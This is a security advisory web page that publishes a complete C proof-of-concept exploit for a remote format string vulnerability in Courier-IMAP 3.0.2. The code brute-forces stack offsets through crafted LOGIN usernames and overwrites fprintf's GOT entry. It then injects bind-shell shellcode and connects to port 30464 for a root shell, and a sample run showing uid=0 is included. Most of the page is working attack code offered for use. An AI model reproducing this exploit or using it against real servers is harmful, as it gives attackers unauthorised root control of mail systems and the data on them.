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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Courier-IMAP Remote Format String Vulnerability Exploit 1 Sep. 2004    Summary In a previously featured article titled Courier-IMAP Remote Format String Vulnerability, a bug that opens up a vessel for executing arbitrary code was documented and described. Provided below is a proof of concept exploit code that will in fact exploit the vulnerability and spawn a shell on the server.   Credit: The information has been provided by Andrei Catalin. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Courier IMAP up to version 3.0.7, NOT inclusive Immune Systems:  * Courier IMAP version 3.0.7 Exploit: /*   courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit      Author: ktha at hush dot com      Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2      Special thanks goes to andrewg for providing the FreeBSD box.      Greetings: all the guys from irc.pulltheplug.com and irc.netric.org      bash-2.05b$ ./sm00ny-courier_imap_fsx   courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com   [*] Launching attack against 127.0.0.1:143   [+] Got current ebp(5100): 0xbfbfb050   [+] Got possible saved ebp(3281): 0xbfbfe390   [+] Got possible write on the stack pointer(3293): 0xbfbfe3c0   [+] Verifying...failed   [+] Got possible saved ebp(3286): 0xbfbfe3a4   [+] Got possible write on the stack pointer(3298): 0xbfbfe3d4   [+] Verifying...failed   [+] Got possible saved ebp(3287): 0xbfbfe3a8   [+] Got possible write on the stack pointer(3299): 0xbfbfe3d8   [+] Verifying...OK   [+] Building fmt...done   [+] Building shellcode...done   [*] Using ret: 0x8057000   [*] Using got of fprintf(): 0x804fefc   [*] Checking for shell..   uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)       N.B. 1. ret can be guessed ;)      2. got, well.. that's a different story, it must be bruteforced      3. "ce_number" & "se_number" can be set with some default values when running multiple times   4. shell is usable for aprox 1 min        [ Need a challenge ? ]   [ Visit http://www.pulltheplug.com ]    */ #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define BIGBUF 2048 #define IMAP_PORT 143 #define END_BRUTEFORCE_STACK 5500 #define TOP_STACK 0xbfc00000 /* FreeBSD */ #define START_BRUTEFORCE_SAVED_EBP 3000 #define JUNK 9 #define GAP_EBP_ESP 48 #define DUMMY_NUMBER 100 void die(int type, char *message) {  if(type == 2)  perror(message);     else      fprintf(stderr,"%s\n",message);  exit(1); } int connect_to (char *host, int port){  struct hostent *h;  struct sockaddr_in c;  int sock;  if ((host == NULL) || (*host == (char) 0))    die(1, "[-] Invalid hostname");  if ((c.sin_addr.s_addr = inet_addr (host)) == -1){    if ((h = gethostbyname (host)) == NULL)   die(1, "[-] Cannot resolve host");    memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr));  }  if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)    die(2,"[-] Error creating socket:");  c.sin_family = PF_INET;  c.sin_port = htons (port);  if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)    die(2, "[-] Cannot connect: ");  return sock; } void close_socket (int sock){  shutdown (sock, 2);  close (sock); } char *get_request(char *username, char *password){  char *request = (char *)malloc(strlen(username)+strlen(password)+20);  sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);  return request; } void send_data(int sock, char *request){  int n;  n = send (sock, request, strlen (request), 0);  if (n != strlen (request)){         close_socket (sock);         die(1, "Error sending request\n");  } } int get_ce_number(char *host, int port){  int sock;  int loop;  char temp[BIGBUF];  int l,n;  char username[BIGBUF];  char password[BIGBUF];  char *request;    for (loop = END_BRUTEFORCE_STACK;;loop--){  sock = connect_to(host, port);  n = recv (sock, temp, sizeof (temp), 0);  sprintf(password,"sm00ny");  sprintf(username,"%%%d$p",loop);  request = get_request(username,password);  send_data(sock,request);  memset(temp,0,sizeof(temp));  n = recv (sock, temp, sizeof (temp), 0);  close_socket (sock);  if (n > 0)   break;  }  return loop; } int get_se_number(int start, int end, char *host, int port){  int loop;  char username[BIGBUF];  char password[BIGBUF];  char *request;  int l,n;  char temp[BIGBUF];  int sock;  if (!start)  start = START_BRUTEFORCE_SAVED_EBP;  for (loop = start; loop < end; loop++){  sock = connect_to(host, port);  n = recv (sock, temp, sizeof (temp), 0);  sprintf(password,"sm00ny");  sprintf(username,"%%%d$n",loop);  request = get_request(username,password);  send_data(sock,request);  memset(temp,0,sizeof(temp));  n = recv (sock, temp, sizeof (temp), 0);  close_socket (sock);  if (n > 0)   break;  }  if (loop == end)  return -1;    return loop; } int verify_se_number(int write, unsigned long addy, int number, char *host, int port){     char username[BIGBUF];     char password[BIGBUF];     char temp[BIGBUF];     char *request;     int n, sock;          sock = connect_to(host, port);     memset(temp,0,sizeof(temp));     n = recv (sock, temp, sizeof (temp), 0);     sprintf(password,"sm00ny");     sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, number, write);     request = get_request(username,password);     send_data(sock,request);     memset(temp,0,sizeof(temp));     n = recv (sock, temp, sizeof (temp), 0);     close_socket (sock);     if (n <= 0)      return 0;           sock = connect_to(host, port);     memset(temp,0,sizeof(temp));     n = recv (sock, temp, sizeof (temp), 0);     sprintf(password,"sm00ny");     sprintf(username,"%%%u$n%%%u$hn", number, write);     request = get_request(username,password);     send_data(sock,request);     memset(temp,0,sizeof(temp));     n = recv (sock, temp, sizeof (temp), 0);     close_socket (sock);     if (n > 0)      return 0;           return 1; }                                                                                                                                                           int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned long ret){  int i,j,sum,byte;  int *vec = (int *)malloc(11 * sizeof(int));    sum = JUNK;  for (i=0; i<2; i++){  for (j=0; j<2; j++){   vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;   while (vec[2*(2 * i + j)] <= 12)   vec[2*(2 * i + j)] += 0x10000;   sum += vec[2*(2 * i + j)];      byte = ((got + 2 * i) >> (16*j)) & 0xffff;   vec[2*(2 * i + j) + 1] = byte - sum;   while (vec[2*(2 * i + j) + 1] <= 12)   vec[2*(2 * i + j) + 1] += 0x10000;   sum += vec[2*(2 * i + j) + 1];   got_addy += 2;  }  }  for (i=0; i<2; i++){  byte = (ret >> (16*i)) & 0xffff;  vec[8+i] = byte - sum;  while (vec[8+i] <= 12)   vec[8+i] += 0x10000;  sum += vec[8+i];  }    return vec; } char *get_format_string(int *vec, int se_number, int write_number, int got_number){  char *buf = (char *) malloc(BIGBUF);  char smallbuf[256];  int i;    for (i=0; i<4; i++){  sprintf(smallbuf ,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);  strcat(buf,smallbuf);  }  for (i=0; i<2; i++){  sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);  strcat(buf,smallbuf);  }  return buf; } char *gen_shellcode (int gap){  int size;  char *p;  char shellcode[] =  /* Thanks ilja */  "\x31\xc0\x31\xc9\x31\xd2\xb0\x61"  "\x51\xb1\x06\x51\xb1\x01\x51\xb1"  "\x02\x51\x8d\x0c\x24\x51\xcd\x80"  "\xb1\x02\x31\xc9\x51\x51\x51\x80"  "\xc1\x77\x66\x51\xb5\x02\x66\x51"  "\x8d\x0c\x24\xb2\x10\x52\x51\x50"  "\x8d\x0c\x24\x51\x89\xc2\x31\xc0"  "\xb0\x68\xcd\x80\xb3\x01\x53\x52"  "\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"  "\xcd\x80\x31\xc0\x50\x50\x52\x8d"  "\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"  "\x80\x89\xc3\x53\x51\x31\xc0\xb0"  "\x5a\xcd\x80\x41\x53\x51\x31\xc0"  "\xb0\x5a\xcd\x80\x41\x53\x51\x31"  "\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"  "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"  "\x62\x69\x89\xe3\x31\xc0\x50\x54"  "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"  "\xb0\x01\xcd\x80";                                                                                 size = strlen (shellcode);  p = (char *) malloc (gap + 1);    /* Some nops ;) */  memset (p, 0x41, gap);    memcpy (p + gap - size, shellcode, size + 1);  return p; } void root(char *host) {  fd_set rfds;     int n;     int sock;     char buff[1024];          sock = connect_to(host,30464);     send(sock,"id;\n",4,0);     while(1) {      FD_ZERO(&rfds);      FD_SET(0, &rfds);         FD_SET(sock, &rfds);         if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)          exit(0);         if(FD_ISSET(0,&rfds)) {          if( (n = read(0,buff,sizeof(buff))) < 1)          exit(0);          if( send(sock,buff,n,0) != n)          exit(0);         }         if(FD_ISSET(sock,&rfds)) {          if( (n = recv(sock,buff,sizeof(buff),0)) < 1)          exit(0);          write(1,buff,n);         }  } } main (int argc, char **argv) {  char *host="127.0.0.1";  int port = IMAP_PORT;  int sock;    char *temp1, *temp2;  char *request;  int *vec;    int n,ok,i;    unsigned long cur_ebp; // was 5100 on my box  int ce_number = 0;  unsigned long saved_ebp; // was 3287 on my box  int se_number = 0;  unsigned long write_addy;  int write_number = 0;  unsigned long got_addy;  int got_number = 0;    /* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */  unsigned long got = 0x0804fefc;  /* heh.. it's up to you to find this one :P Just use your favourite mathod */  unsigned long ret = 0x8057000;     if (argc > 1)   host = argv[1];  printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com\n");    printf("[*] Launching attack against %s:%d\n",host,port);    if (ce_number == 0)   ce_number = get_ce_number(host,port);  cur_ebp = TOP_STACK - 4 * ce_number;    got_number = DUMMY_NUMBER;  got_addy = cur_ebp + 4 * (got_number - 1);     printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);    do{   se_number = get_se_number(se_number,ce_number,host,port);   if (se_number == -1)   die(1,"[-] Failed to get a saved_ebp !");      saved_ebp = cur_ebp + 4 * (se_number - 1);   printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);      write_addy = GAP_EBP_ESP + saved_ebp;   write_number = (write_addy - cur_ebp) / 4 + 1;  printf("[+] Got possible write on the stack pointer(%d): %p\n",write_number,write_addy);      printf("[+] Verifying...");   ok = verify_se_number(write_number,got_addy,se_number,host,port);   if (ok)   printf("OK\n");   else {   printf("failed\n");   se_number++;   }  }while (!ok);    printf("[+] Building fmt...");  vec = get_format_vector(got_addy,got,ret);  temp1 = get_format_string(vec,se_number,write_number,got_number);  printf("done\n");    printf("[+] Building shellcode...");  temp2 = gen_shellcode(800);  printf("done\n");    printf("[*] Using ret: %p\n",ret);  printf("[*] Using got of fprintf(): %p\n",got);    request = get_request(temp1,temp2);    sock = connect_to(host, port);  send_data(sock,request);  sleep(2);  close_socket (sock);    printf("[*] Checking for shell..\n");  root(host); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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